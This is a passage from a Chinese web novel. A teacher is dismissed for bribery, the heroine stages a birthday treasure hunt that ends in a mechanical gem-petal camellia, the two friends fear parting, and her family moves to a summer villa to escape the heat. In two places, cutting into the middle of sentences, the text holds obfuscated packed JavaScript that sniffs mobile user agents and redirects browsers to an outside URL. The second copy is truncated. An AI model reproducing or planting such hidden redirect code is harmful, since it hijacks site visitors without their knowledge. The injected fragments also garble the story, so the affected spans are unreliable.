“中舍教习先生齐某,花钱贿赂学正,走门路买来教习职位,本官已经查得明明白白,人证物证俱在。你无才无德,行贿谋职,还私自惩罚学生,败坏斯文,革去教习身份,即刻拿下,等待后续收监候审。” 祭酒的话音重重落下,与此同时,齐先生手中一直抓着的檀木戒尺也在脱力之中摔落在地。 那结实的戒尺寻常不论敲多少次依旧□□,竟在此刻摔碎成两半,倒是与盛秋阑先前在小说中题集的景象极其类似。 祭酒身后跟着的捕头挥手示意,两名差役当即上前拿人。 齐先生双腿一软,竟然当众跪坐在讲堂前面,两只手臂无力垂下,被差役强行拖起来,一直拽到学堂外。 一堂课被上得七零八落,前期先生心不在焉,后面更是直接被这一变故打乱,先生出去之后教室里面一片喧哗,如同沸腾的汤水一般。 “先生不在,咱们岂不是不用上课了?” “后面应该会来新先生吧,希望不要再像这次一样了。” “那必然不会,这位齐先生的下场摆在这里,后面的人也该掂量掂量。” 教习的先生被带走了,这群人这是叛逆好动之时,仗着没有人管束纷纷说话,直到另一位先生临阵受命,匆匆赶到教室才恢复平静。 齐先生的革职没有打乱正常的教学进程,第二日便有一位新的先生进来。 这一回原本想用别的手段获得职务的人也消停了,有齐先生的前车之鉴,他们再心怀鬼胎也不敢在这么短时间里顶风作浪,相比起上一位,这位先生明显学识渊博了很多,虽然年纪稍大,但讲课做事却一点都不含糊,台下的学生也渐渐不再反感,很快获得了威信。 . 天气渐渐炎热,盛秋阑原本披在最后外面的长衫也脱下,只留下轻便的襦裙和一件真丝质的短衫。 伴随着假期来临,傅如珩的生日也要到了。 侯府中不会为了一个不受宠的庶子办生日会,唯有从小看着傅如珩长大的厨娘偷偷从厨房里面端来了一碗面,放在他面前。 “吃一碗吧。” 傅如珩知道厨娘的好心,没有拒绝,一碗面上放着两三片牛肉,三五口就能吃干净。 他的生辰不巧,正好还是在上学的时候,吃完面还要前往学堂。 几个人从小一起长大,早已经过了互相客套的年纪,林辞殊送了一本她家典藏的书籍,之前傅如珩提过一次,这种书籍市面上不太好找寻,不过她家藏书颇多,也不算孤本,当个礼物很合适。 长孙胜则是豪横地给了一把镶嵌着金丝的玉骨折扇,一打开就闪过一片金光,不管是否实用,至少拿出来能闪瞎别人的眼睛。 傅如珩一一谢过,望向一旁一言不发的盛秋阑。 “你的呢?” 对比起其他两个人,他们之间的相处时间更久,从小到大各种的礼物全部都送了个遍,要想有新意也更加困难。 “等你回去就能看到了。”盛秋阑表情神秘。 因为她这句话,傅如珩感觉今天过得格外漫长,一回到侯府就直奔自己的住所,甚至都不用走进去,他就知道了盛秋阑所说的礼物是什么。 傅皓轩经过酒楼那一遭之后再也不敢过来,没有了他的干预,原先空荡裸露的院子很快长出了绿草,恢复了一些 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他一眼就认出了这一处植物所属的品类,即便现在还没有开花,但是等到秋天,这一处将会是最漂亮的景色。 叶片上面还带着一点点青涩的苦,混杂着草木香气,被太阳晒过之后带着一点微焦的暖香。 傅如珩在这一处停留了许久,正想要起身,却在窗沿下面看见了一行用竹片写成的小字。 这一行字迹的位置相当刁钻,如果不蹲下来绝对会被忽视,盛秋阑像是知道傅如珩一定会率先来到这里一样,丝毫不担心会被漏过去。 竹片上方打了一个小孔,用白棉线穿起来,挂在窗沿下,轻轻一扯,棉线就散开来。 傅如珩注视着竹片上熟悉的字迹。 “请前往左边,领取下一个目标。” 在大家都用东西来表示方位的时候,盛秋阑依旧习惯用前后左右来分辨方向,也亏得傅如珩对她足够熟悉,知道她说的左边应该是指院子西面。 他正想将竹片收起来,手指却触摸到某处突起,翻过来一看,光滑的竹片上粘着一小枚螺钿,边缘被打磨得非常光滑,制成的一片花瓣形状,花瓣边缘微微下压,形成优美的弧度。 原来这才是用竹片的目的,小巧的花瓣正好被竹片挡住,如果不摘下来就会忽略,盛秋阑连这一点都预料到了。 傅如珩将螺钿揭下来,前往盛秋阑所指的方向。 那是一丛开得极盛的绣球花,与刚才绿色的茶树叶片对比鲜明。 一朵朵花瓣层层叠叠,形成饱满的花球,呈现淡粉或紫色,它的叶片也和花朵一样茂盛,遮掩着底下的土壤,若是想从中找到竹片必定要花费很大一番功夫。 以盛秋阑的性格,必然是能坐下绝不站着,能少走一步绝不会多费功夫,所以傅如珩率先从长得最突出的花球开始找,他将每一片叶子全都细细扒了一遍,甚至连底下的泥土都看过了,却还是没有看到竹片的影子。 难道这一回改性了? 傅如珩重新将目光放在墙根,却依旧没有找到竹片,小小的竹片仿佛在这一片盛大的花丛中消失了。 他略有些疑惑地重新走远,上上下下扫视了一圈,确定盛秋阑所说的“左边”只有这一处绣球花。 因为不停歇地寻找,傅如珩身上有些发热,他随意地拨了一下最大的那一颗花球,突然看到了一抹不属于其中的颜色。 在浅紫和浅粉之中,木色显得不起眼,也是因为他刚才那个动作,悬挂着的竹片才显现出来。 这一枚竹片同样是用白色棉线悬挂着,另一端系在最大的那一朵花蕊下,非常简单粗暴,也很符合傅如珩对盛秋阑的了解。 他原先以为对方至少会稍微藏一藏,所以才没有关注花瓣,没想到盛秋阑竟然演都不演了。 傅如珩将棉线的线头扯下来,花球随之而动,绣球花的花瓣很小,柔软的花瓣互相摩擦着,粉色与紫色交相映衬。 这一枚竹片后面同样贴着凸起的花瓣形状,只不过这一次变成了藕粉色的和田玉。 和田玉材质通透,泛着淡淡的粉色,摸上去温润微凉,带着一点厚度的玉石搁在手心中,逐渐染上了体温。 傅如珩将竹片翻到正面,和上一块同样的字迹映入眼底。 “猜猜下一片在哪?” 没了? 傅如珩将竹片反复翻转,确定只有一句话。 这他上哪里去找? 40. 秘密 盛秋阑没有给提示,断不可能在这一整个院子里面让他瞎找。 傅如珩的目光在院子里面扫视了一圈,走向绣球花旁的另一品种的树下。那是五六棵紫藤花,粉紫色的花瓣在园中格外明显,浓郁欲滴。 折腾这满园的花估计费了不少力,以傅如珩的了解,盛秋阑玩心起了三分钟大约就基本没了热度,很可能为了便利就在附近挂上第三个牌子。 相比起刚才一大丛的绣球花,紫藤树就显得好找很多。 基于上次的经验,傅如珩率先走向最高大的一棵,没走几步就能够看见最外圈的一朵花下面挂着熟悉的竹片,像是累极了之后顺手挂上去的,甚至都没打算隐藏。 因为竹片的重量,这一朵花被缀得微微向下,那薄薄的一片被风一吹就晃,像是下一秒就会脱离花朵落地。 这一次竹片后面贴着的是用翡翠制成的薄片,翡翠的成色很好,通体碧绿,上面还有着半透明的水线。 傅如珩将这一片翡翠花瓣摘下来,与剩下两片一起全都小心地放在锦袋中,才去看上面的提示。 这一次竹片上就连字都没有,只有一个朝向右边的箭头。 竹片早已经被风吹过,上面转了好几个圈,虽然箭头现在所指向的方向是右边,但并不能确定一开始的位置。 右手边只栽着一棵高大的树,周围便没有了藏东西的地方。 傅如珩先朝着那棵树走过去,他不知道这是什么品种,看起来和普通的树没什么区别,此时还没有到花期,树冠上只留下浓密的叶子,叶片颜色浓绿发亮,站在树下仰头望去,层层叠叠的叶片将阳光挡住,看不出是否挂了东西。 考虑到盛秋阑目前的身高,傅如珩仅仅在下端的树枝间寻找了一番,确认没有看到竹片之后果断换了个方向。 与这棵树相对的一边是一丛金雀花,颜色极亮,金黄色的蝶形花瓣挂了满枝,斜斜地从墙旁边垂下来,如同黄色的蝴蝶飞舞。 傅如珩找了一圈,果然从稍里面的位置看到了熟悉的竹片,隐藏在两枝金雀花之间。 竹片后面粘着的花瓣是用玳瑁所制,深棕色的花瓣上面带着天然的纹路,摸上去很有分量,与它周围的金雀花相得映彰。 傅如珩将其他三朵花瓣拿出来,比了一圈,四朵花瓣围在一起,只余下了一小处空缺,按照其他几个花瓣的大小,刚刚好还能放下一片。 竹片上面画了一道意味不明的波浪线,一根线条中间卷曲,若不是上面只有这一条线,几乎要以为是意外画上去的。 从一开始的一句话,到后来的一个箭头,再到现在一条线,盛秋阑给的提示越来越少。 傅如珩盯着那一道弯弯曲曲的线条看了一会儿,突然收起来,走向了最外圈的围栏。 上面挂着的黄花在刚开始还能让人眼前一亮,但相比起园中的多彩颜色就有些单调了,单朵小花挤在旁边的藤中,均匀地分布着,颜色相比起刚才的金雀花稍黯,显得有些普通。 傅如珩走出院子,在外圈的围栏上逛了一圈,最终在靠近院门的角落找到了隐藏许久的竹片。 它的颜色与木质围栏太过相近,以至于他在进门的时候没有注意到。这一次竹片上面没有写任何的提示,只在背后挂着一枚云母所制的花瓣。 五片花瓣放在一起,刚好能合拢成一朵完整的花,花瓣的面积很大,呈现着倒蕊形,尖端有一个小小的凹口,是很标准的单瓣茶花形态。 每一片花瓣都是用不同的材质制成,颜色也各不相同,螺钿流光溢彩、和田玉凝脂莹润、翡翠碧绿澄澈、玳瑁斑斓古雅、云母莹薄如纸,放在一起却莫名的和谐,只是缺少了中间的花蕊,总觉得与寻常茶花相比少了几分韵味。 单瓣茶花的点睛之笔就是其中最为明亮的黄色花蕊,盛秋阑费尽心思将花瓣藏在各地,不应该把这么关键的部位忘记了。 傅如珩反复翻转,竹片背后确确实实只有一片花瓣,上面也没有任何的标记,他将原本拼接好的茶花重新放回到口袋中,向着里屋走去。 园中的其他地方早已经七七八八寻了个遍,唯一没有找过的地点就是他还没有走进过的房间。 傅如珩的屋子里面陈设简单,他一眼就看到了放在最中央桌子上面的金色反光,这是与他离开之前唯一不一样的地方。 金子融化之后被重新烧制成金丝,用工艺在顶端掐出了花蕊的形状,不管是颜色还是效果都与真的茶花花蕊一般无二。 剩下的金丝笔直,两边镶着用金子的叶片,金片薄如蝉翼,上面的纹路却很清晰,就连细小的叶脉也全部雕刻在上面。 傅如珩将五片花瓣重新拿出来,围绕着金丝做成的花蕊排布,花蕊两边做了小机关,能够将花瓣严丝合缝的嵌在其中,不会有脱落的风险。 他本以为这样就已经结束了,没想到当最后一片花瓣被卡在机关当中时,其他的花瓣竟然自发性地向外展开,原本还是含苞欲放的茶花竟然像真花一样开放了。 各色的花瓣向外舒展,虽然材质不同却各有韵味,两边的金色叶片同时上下浮动,如同被风吹起一般,花蕊更是点睛之笔,即便周围的花瓣美丽也丝毫夺不去它的光芒。 手中的茶花个头不大,约莫和傅如珩的手掌差不多,但是做工精美,其中的巧思更是让人难以想到,可以说是京城独一份。 傅如珩手中捧着这一朵花,环顾四周,竟然不知道应该放在哪里。 他的地方太过简陋,哪怕平时经常打理,布局井井有条,但还是与手中的花格格不入。 他先前不愿意花费太多精力来装饰自己的屋子,一方面是因为傅皓轩经常过来,就算花了心思装扮,最后也会用各种理由来破坏,另一方面他先前流落在街头,连桥洞都住过,如今能够有一处安稳睡觉的地方已经满足,更何况也没有其他东西可以来装扮,就一直维持着原状。 这处院子原先只是一个杂物间,所以连屋子都修缮得不算用心,外表看起来平平无奇,里面唯一的几件家具也是后来临时搬过来的,一直用到现在。 傅如珩在这边住惯了,原本也不觉得简陋,可是看着手中的花,却一时半会儿不知道应该放在哪里。 花的颜色虽然不显眼,可是却金贵得不像是出现在这里面的。 应该用最柔软的锦缎包起来,放在富有鹅绒的盒子里,用坚固的锁锁住,这样才不会坏,也不会被别人觊觎。 自从他开始上学之后,傅皓轩就很少再来找他麻烦了,虽然平时见到之后依旧冷哼一声,却不会刻意过来找不痛快。 不管是因为先前躺在床上那几个月带来的阴影太深,还是自知打不过傅如珩,总归人安分下来。 其他人原本就是看着傅皓轩的脸色才会过来找茬,现在他不来了,别的人自然也不会自找多事。 可是现在,傅如珩却难得又生出焦虑,他望着自己一直居住着的地方,觉得把东西放在哪里都不安全。 最终他还是拿出了一个做工精致的锦帕,用的是上好的布料,上面的刺绣纹路却只有一半,从仅有的一半来看,上面是一株盛放的宫粉茶花,像是被人绣到中途的半成品。 柔软的锦帕将花朵包在中间,严丝合缝。 傅如珩将包裹住的花放在了他锁上的抽屉当中,这个抽屉在盛秋阑第一次来到屋子的时候就询问过,只是被他含糊了过去,此时用钥匙打开锁扣,里面的东西才重见天光。 作为全屋当中唯一被锁住的东西,里面的内容却寥寥无几,一眼就能看得清。 ——一支早已经干掉却依旧保存完好的茶花,与锦帕当中的花纹极其相似,花朵根部与它的茎之间还有着被修复的痕迹,一枚成色极好的玉佩,一看就知道比傅如珩原先那三枚贵上不止一星半点,还有其他零零碎碎的东西。 如果此时盛秋阑在这里,肯定会惊讶地发现这里面的东西全部都是她送给傅如珩的。不管是精心准备的生辰礼物还是随手在集市中所买的摆件, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308503|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部都被细心擦拭完放在抽屉当中。 就连早已经枯萎的茶花也只是边缘泛黄,花瓣因为时间过去自然萎缩,即便这样也依旧被好好保存着。 这个抽屉像是被定期打开清洗,虽然常年密封在里面,但是这些摆件上却没有沾上丝毫的灰尘,就连抽屉的底部也是一尘不染。 傅如珩将手中的花小心地放在其中,注意着没有碰到别的东西,顺便将其他小物件又重新擦拭了一遍。 他所在意一个东西本就不多,这一个抽屉几乎已经算是所有,而它们每一个上面都写着盛秋阑的名字。 . 傅如珩的生日之后,假期如约而至。 放假那天,学堂里面的每一个人都是兴高采烈,放眼望去全部都洋溢着欢腾的气息。 “你什么时候去闽中?”盛秋阑望向在一旁整理书籍的林辞殊。 “明日一早就走,路程还需要好几天。” 闽中和京城相差几千里,就算放在现代也需要几个小时,换做交通并不发达的古代,路途更是奔波。 南方的天气相比起京城要凉快很多,林辞殊到那边也和避暑无差。 “那我们开学见。” 林辞殊嘴角扬起微微的笑容,相比起刚见面的时候,她变得开朗很多:“开学见。” “我也要走,怎么没见的你们舍不得我?”长孙胜在一旁道。 “你家的避暑山庄不过是京城以外的山郊,想回来一日就能回,至于表现这样吗?” “那种偏僻之地连个玩的东西都没有,要不是我爹非让我过去陪其他人,我才不想走。” 长孙家世代经商,产业在长孙胜父辈的时候更是如日中天。 他们亲眷众多,虽然在京城中的产业无数,但是底下自有看管的人,最多在月末的时候查个账,其余不需要过多费心,所以仅仅在城中留了一两个管事的人,其余的全都搬到了避暑山庄。 长孙胜倒是想要留下来,只是家中的下人基本已经安顿好了,就算他想要留下来家中也是一片冷清,而且他爹先前就已经打好了招呼,让他亲近一下同辈,就连挣扎都没有办法。 他倒不是对这些人有意见,只是家中的产业是他爹娘一力打拼下来的,后来接管不过来才会将一部分职权分割给家人。 他作为少庄主,哪怕有一层血缘关系在身上,还是免不了其他人对他带着讨好的态度,长孙胜从小经历这种场合,早就厌倦了这种浮于表面的客套。 “要么是刚出生的小孩,连话也不会说,要么是早已经而立,接管事业,与我也没有共同语言,连个能一起玩的人都没有。真不知道这两千亩的山庄有什么好玩的。” 盛秋阑原本听长孙胜的描述还多了几分同情,正想要宽慰两句,听到他抱怨完最后一句,本想要搭在他肩膀上的手猛地转了个方向,一把拍在他的背上。 清晰且响亮的一声,一听就知道没有收力。 长孙胜差点一头栽倒下去,他坐在座位上摆了两下手臂保持平衡,脚尖死死抵着椅腿,终于避免了当众表演跪拜大礼的结局。 稳住身形之后,长孙胜满脸幽怨地望向盛秋阑:“大侠为何残害我?” 盛秋阑狞笑:“不为什么,单纯看有钱人不爽,看富二代更不爽。” 虽然不知道富二代的意思,但是结合上文也能大概猜到。 长孙胜揉了揉被拍疼的脊背:“我当时说让你一起来,你不是不来吗?” “傅小衍不去,我也不去。” “这你们都要在一起,连体婴啊。” “那当然,我们每个假期都在一起。” “那以后若是你嫁人或者傅如珩娶妻了,总不能在一起了吧。”长孙胜嘴快说出口。 盛秋阑不说话了。 长孙胜没有注意到她变换的表情,自以为占了上风,垂着头开始整自己的书箧,留下盛秋阑怔怔地盯着手中的书籍发呆。 他们会分开吗? 41. 分离焦虑 盛秋阑和傅如珩在一起的时间太长,也太久了。 从一出生见到开始,到后来一起上学,几乎可以说形影不离,他们都已经习惯了对方的存在,以至于从来没有想过这个问题。 只是长孙胜说得也没有错,盛秋阑努力集中头脑去分析。 哪怕她来到江南之后去找几个帅哥,那也只是短暂的一段时间,若是她没有心上人,盛怀德和贺兰谨或许会宠着她,尊重她的意见,可是傅如珩呢? 她总不能拉着傅如珩不让他和心爱的女子结婚。 虽然盛秋阑来到这个世界后适应得很好,但是她实际上并不喜欢改变。 现在的生活几乎已经算是最为理想的状态,亲人好友都在身侧,原书中的满门抄斩也还有好几年,不过若是今后各自成家,哪怕还有联系,终究不能像如今这样亲密无间。 盛秋阑见过很多人因为各自的生活变化渐行渐远,或是因为分歧,或是自然而然,最终变成了点头之交。 江南这么大,也有很多温婉有才华的女子,傅如珩可能会喜欢上其中一个,然后和她成婚,有自己的家庭,他们必然不可能像现在这样每天都在一起。 她和傅如珩最后也会变成这样吗? 盛秋阑无措地蜷起手指,她从来没有想过这种可能性,或者说她没有想过她和傅如珩的未来。 在她原本的计划当中,她帮助傅如珩脱离被牵连的结局,来到江南远离朝廷风波就是全部。 按理说在这之后就是傅如珩自己的生活,无论是娶妻生子还是另寻住所都合乎情理,不用担心深陷牢狱,在旁人看来幸福美满,可盛秋阑心中却生出一种憋闷。 她不知道这种令人心烦的情绪是因何而来,开始下意识逃避。 “怎么了?” 傅如珩注意到盛秋阑一直没有说话,他接过对方手中已经揉的有些发皱的书页,抚平了翘起的折角。 “有什么事情需要拿书来发泄?” 深蓝封皮的书被一一归到书箧当中,排布整洁密集,根本不需要盛秋阑过多操心,傅如珩就已经把两个人的东西全部都整理完了。 有人收拾好东西,欢天喜地地将需要搬运的书箧交给贴身跟随的下人,自己朝着外面跑去。 迎春和碧云也早已经等候在门口,知道今天需要搬运的东西很多,还跟来了几个身强力壮的侍卫。 盛秋阑心不在焉地看着他们将木箱扛在肩上,向着她家的马车走去:“没什么,只是觉得放假都见不到了。” 盛秋阑平日里表现的大大咧咧,这种情绪放在她身上显得格格不入,但是傅如珩却没有因此觉得奇怪,反倒生出果然如此的想法。 当初盛秋阑的大哥出去上学,她表面乖乖巧巧地和人道别,一副她才不会在乎的样子,实际上一把人送走就跑到了他的屋子当中。 那时候的盛秋阑虽然年纪不大,但却非常要脸,努力抑制住话语中的哭腔,想要表现出和平常一样的神情,扯出一个笑容说:“我来找你玩了。” 她自以为隐藏的很好,实际上一双眼睛边缘微微发红,瞳孔上面附着一层水雾,鼻尖也是红红的,一看就是刚刚哭过,哪怕脸上是笑着,看起来也和哭没有什么区别。 傅如珩不知道她受了什么委屈,想要替盛秋阑擦眼泪,但是看着她一副强装开心的样子,又担心自己的行为会把人惹恼。 他斟酌着用词:“你想去哪里?” 盛秋阑兴致缺缺地摇摇头:“哪里都不想去,我就在你这边待一会儿。” 那时候的傅如珩还没有太多哄人的经验,他有些慌乱地站在一边,不明白为什么往常一直笑着的人变成了这副可怜巴巴的模样,偏偏还不愿意将事情说出口,让人想问都不知道从哪里开始。 盛秋阑在房中自娱自乐了一会儿,又跑到外面的院子当中,傅如珩想要跟在后面,却被她制止了。 “你不要跟过来,我要自己玩一会儿。” 往常都是盛秋阑来找傅如珩,这还是第一次明确拒绝他的跟随。 傅如珩无措地停住了脚步,他不知道应该怎么做,但还是下意识听从盛秋阑的话,只是这种未知的感受实在难熬,两个人仅仅隔着一堵墙,傅如珩却感觉到了无尽的空落。 时间一分一秒地过去,傅如珩特意将屋子的窗户打开,想要借此听清楚外面的动静,可是盛秋阑不知在做什么,竟然连一点声响都没有发出来。 焦虑和空茫感带来窒息,几乎要将傅如珩全部淹没。 他开始后悔先前听了盛秋阑的话,毕竟就算跟出去,对方也不能强硬地让他离开,现在却完全处于被动之中。 终于傅如珩没忍住打开屋门,打算出去看看盛秋兰在做什么。 都不需要去寻找,他一眼就看见了蹲在墙角的人。 这个时候的花园还是光秃秃的,放眼望去除了脚下生着的杂草就没有其他的东西。 傅如珩回忆着盛秋阑蹲着的墙角,只记得那边是一处生长的格外茂盛的野草,大抵是朝向南边,吸收了更多的阳光,所以才比别的地方长得快一些,除此之外就没有什么特别的了。 盛秋阑就是在这一处停了这么久? 傅如珩抬脚向那个蹲着的背影走去,既然已经出来了,他倒不如直接询问,就算之后盛秋阑不高兴,按照对方的性子,稍微哄哄估计就把这件事忘了。 听到身后没有掩饰的脚步,盛秋阑只是回了个头,没有多说什么。 趁着这个时间,傅如珩看清楚了她手里面拿着的东西,那是一根不知道从哪里捡到木棍,树枝上面还有着分叉,看起来倒是坚韧。 树枝的顶端沾着泥土,看起来像是被蹉跎了很久,盛秋阑手里面拿着的一端还带着新鲜的折痕,木质纤维交错不一地凸出来。 见她没有出声反对,傅如珩顺势在盛秋阑的旁边蹲下来,她面前确实是记忆当中的那一丛野草,只是样子略微产生了区别。 野草数量多且细长,靠近顶端的部分开始收窄,最后留下尖尖的一点。 原本因为没有人打理,这丛野草自由生长,肆意地朝向各处,但是现在明显被人手动调整过,不难看出那人的心浮气躁。 倒不是傅如珩的观察力过人,实在是野草的形状改变太大,想要不注意都难。 那些细长的草以三根为一组,从上到下按次序被编成了好几根辫子,乍一看宛如绿色的头发,就连最边缘的几根也没有被放过。 所以盛秋阑在这边待了半天,就是在给这一丛野草编辫子? 看清楚情况之后,傅如珩啼笑皆非。 盛秋阑的工程已经进行到末尾,她手上的树枝原本是用来分散缠绕着的杂草,如今其他地方已经编完了,只留下旁边的几根。 “编完了吗?需不需要我再去帮你找几丛,其他地方也有这种草。” 傅如珩没有询问盛秋阑这样做的缘由,转而开始搜寻附近还有没有类似的草丛。 “够了,我编得腿都麻了。” 盛秋阑原本只是想找一件事情来转移自己的注意力,没有想到全神贯注编了这么久,一时忘了时间。 她的郁闷与伤感也在这其中被消耗得差不多,恢复了平时的样子。 原本不肯跟傅如珩说原因,也只是觉得自己好歹活了两辈子,居然还会因为这么一件小事哭鼻子,盛秋阑觉得有些丢人,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太阳逐渐西斜,空气中带着一点凉意,总坐在这边也不是办法,盛秋阑知道傅如珩说的是对的,不情不愿地把自己护着的手松开。 “那你轻一点。” 傅如珩刚才也没有很用力,只不过太过突然,所以刺激才会这么大,这时候因为已经有了提前准备,盛秋阑感觉那一股酸痛稍微少了一点。 傅如珩的力道拿捏得很好,不轻不重,缓慢地揉捏着小腿肌肉僵硬的地方,原先触电般的酥麻逐渐转变成舒适。 盛秋阑的警戒心放下,半眯着眼睛开始任由傅如珩按捏。 这个方法比盛秋阑原本任由它自己缓解要快速得多,除却最开始的不适,到后来几乎没什么感觉了。 紧绷的地方松缓下来,等到再次站起来时,小腿中的不适彻底消失,比来之前还要放松。 就在她在一旁晃腿之际,傅如珩冷不丁提问:“今天为什么不高兴?” 盛秋阑本以为自己掩饰得挺好,没想到他过了这么久居然还在纠结这个问题,当初的伤感早已经消耗,她如实说:“大哥去上学了。” 傅如珩本来担心她是受了什么委屈,听到这个理由,在意外之余又松了一口气。 也是,如果真的在别人那边受了欺负,盛秋阑应该自己就打回去了,不至于到他这边来默默消化。 他还没有想出有什么话能够安慰,盛秋阑就抬起眼,一双眼睛充满亮光。 “不过现在我已经不伤心了,因为你会一直陪着我的,对吧?” 42. 避暑山庄 京城的盛夏甚是难熬,今年的气温更是相比往常高了好几度,盛秋阑蔫蔫地躺在铺着凉席的床榻上,她的屋子四角都放上了冰盆,可即便这样也抵挡不住不断传来的热气。 一旁的迎春用扇子给她扇着风,盛秋阑自己手里还拿着一个上次在集市上卖的手摇风扇,只是风扇的扇叶实在太小,吹出来的风也寥寥无几。 见她热得脸颊通红,头顶上都沁着细密的汗珠,迎春看着心疼,但也不知道有什么办法可以缓解炎热,只能将手里扇风的速度更快一些。 碧云从后厨端来了一小碗冰镇过的绿豆汤,旁边还放着一个盘子,是冰冻过的水果。 “这是荔枝,听说是从外域送过来的,夫人说让我带给小姐您尝尝。” 粗糙的荔枝表面有着凸起的颗粒,上面带着刚刚从冰块当中捞出来的水珠,还散发着丝丝缕缕的寒气。 盛秋阑终于提起了一些兴致,自从来到这里之后,她顶多吃一些时令水果,一些后期从外面交换过来的品种还没有出现,这次的荔枝对现在来说确实算个新鲜物。 荔枝外壳饱满,薄薄的一层外皮剥下来,里面就是接近半透明的果肉,丰富的汁水流到手指上,光是闻着就知道很甜。 能够被送过来的果实自然是挑拣过的,冷冻之后的果肉更加清爽,刚塞进嘴里的时候,盛秋阑被冰得打了一个颤栗,一直围绕在身边的烦躁与闷热也驱散了很多。 三颗荔枝下去,她终于不再有气无力地趴在榻子上,直起了上半身。 “傅如珩今天在家吗?” 外面毒辣的太阳光是看看就已经心生畏惧,她在装着冰盆的房间里面尚且感觉到热,若是走到外面,估计没几步就会被晒化,所以难得偷懒,让下人跑腿去问。 碧云略显迟疑:“守门的侍卫说傅少爷一早就被带出去了。” 又是这样。 盛秋阑感觉原本被冰荔枝压下去的热意又重新漫上来,她心浮气躁地扯了扯胸口,将没有穿鞋的脚放在凉席上,盘坐起来。 原本冰凉的竹席早已经被温度所感染,带上了热意,不再像最开始那样凉快。 只是有总比没有好,盛秋阑环顾了一下四周,没有找到更为合适的地点,决定还是缩在这一处地方。 她鼓起脸颊:“傅如珩到底在做什么,每天都见不到他人影。” 自从放假以来,除了最开始两人待在一块,后来她每次去找傅如珩,得到的回答都是不在家,早出晚归,就连影都不见,导致盛秋阑想要问原因都没有机会。 明明小的时候傅如珩在家中完全不受重视,从来没有人过问,可最近不知道为什么,傅鸿元每天出去赴宴都会带上他。 要不是傅皓轩依旧嚣张跋扈,看起来与往常没什么两样,她都要以为侯府家的世子要换一位了。 盛秋阑一方面被热气烦得心浮气躁,一方面又因为傅如珩而郁闷,望见盘子当中剩下来的荔枝,连剥了好几颗,才终于将心中的烦闷压下去。 价值千金的水果被几口吃完,白色的盘子当中只剩下化开的清水。 碧云看得出她的烦躁,没有多话,将盘子端下去,顺便将那一碗绿豆汤放在盛秋阑面前。 刚才搁置在旁边,那碗绿豆汤已经没有刚开始的清凉,但是光看着豆绿的颜色就感觉心平气和。 盛秋阑舀了一勺放进口中,细腻的绿豆沙之中还带着冰碴,因为里面放了蜂蜜和糖,尝起来甜滋滋的。 她一口气喝了半碗,啪的一声将瓷碗放在桌上。 哼,不在就不在。 “对了,刚刚夫人还跟我说,大少爷和二少爷明天就回来了。” 盛秋阑终于听到了一个好消息,她眼睛一亮:“太好了,府中终于不是我一个人了。” 盛承礼和盛承驰所在的太学放假要比中舍晚几天,直到现在天气实在难挨,才堪堪放了假。 两人回来的时候,府中自然是忙碌了一阵,只不过现在正是酷暑,哪怕难得回一次家,他们也表现得兴致不高。 一家人围在桌子面前吃着晚餐,借着这个机会,盛怀德询问兄弟俩的课业。 盛承礼早在去年秋天就已经中了举人,正在准备来年的春闱。 会试之后紧跟着的就是殿试,中途没有半点放松,不过他向来不需要过多操心,盛怀德叮嘱劳逸有度之后就没有多问。 把问题转向他之前,盛承驰就率先开口:“这个鸡肉可真是好吃,我在学堂里面好久都没有吃过这么好的饭菜了。” 众人已经习惯了他卖惨,见此也没有拆穿,自然地换了个话题。 贺兰谨望向小口扒饭的盛秋阑,因为天气太热,导致她胃口都消减了许多,平日喜欢的饭菜摆在面前都没动多少筷子。 先前知道她怕热,所以贺兰谨才特意让厨房给她留了一份冰荔枝。 “听说你房中又加了个冰盆?不要贪凉,不然容易闹肚子。” 盛秋阑有气无力:“可是娘亲,实在是太热了,我都要热化了。” 她看起来就像是经过暴晒之后的花,脑袋耷拉着,语调拖得又慢又长,倒是把桌上的人逗乐了。 盛怀德沉吟片刻:“今年夏日确实酷热难当,我记得京郊还有一处别庄,地方僻静,倒是适合避暑。” 盛秋阑原本还在后悔没有听长孙胜的建议和他一起去避暑山庄,她实在被城中的炎热气候搅得心神不宁,闻言立刻搁下筷子:“太好了。” 从提出建议到收拾行李出发只用了一天的时间。 整个侍郎府除了盛怀德由于需要上朝不能跟去,留下一部分人之后,其他人浩浩荡荡都跟着后面,就连马车都走了好几辆。 盛秋阑原本是想要跟傅如珩打个招呼,但是出发时依旧没有见到人,于是作罢。 总归那一处别庄距离京城不远,半日就能够抵达,若是有什么事情也能够及时赶回来。 更何况傅如珩现在忙得脚不沾地,有可能根本就没有想起来她。 将所有行李全部搬上马车之后,车队就从侍郎府门口出发了。 盛秋阑感觉到车身晃晃悠悠,外面的蝉鸣从没停歇过,透过薄薄的帘子都能察觉到外面的酷热。 知道她怕热,马车当中特地放了一小盆冰块,虽然冰块数量不多,还有些融化,但总归起了点作用。 他们是早上出发的,一直到下午才终于抵达别庄,庄子里面已经安排好了人手,赶忙出来迎接。 各种行李被安置在厢房当中,别庄背靠群山,里面还有一处荷塘,风景倒是不错,不过众人舟车劳顿了这么久,此时也没有心思去欣赏。 即便一路颠簸,但下车的时候盛秋阑还是精神了很多。 别庄常年处在阴影之中,外加上旁边就是深山,像是天然的凉库,即便外面高温也没有影响到这里的温度。 她深吸一口气,感觉到丝丝缕缕的凉风,就连近日一直觉得无力的四肢都轻快了一些。 知晓他们是来避暑的,别庄里面的人也很有眼色,晚宴上准备的全部都是一些清爽好入口的餐食。 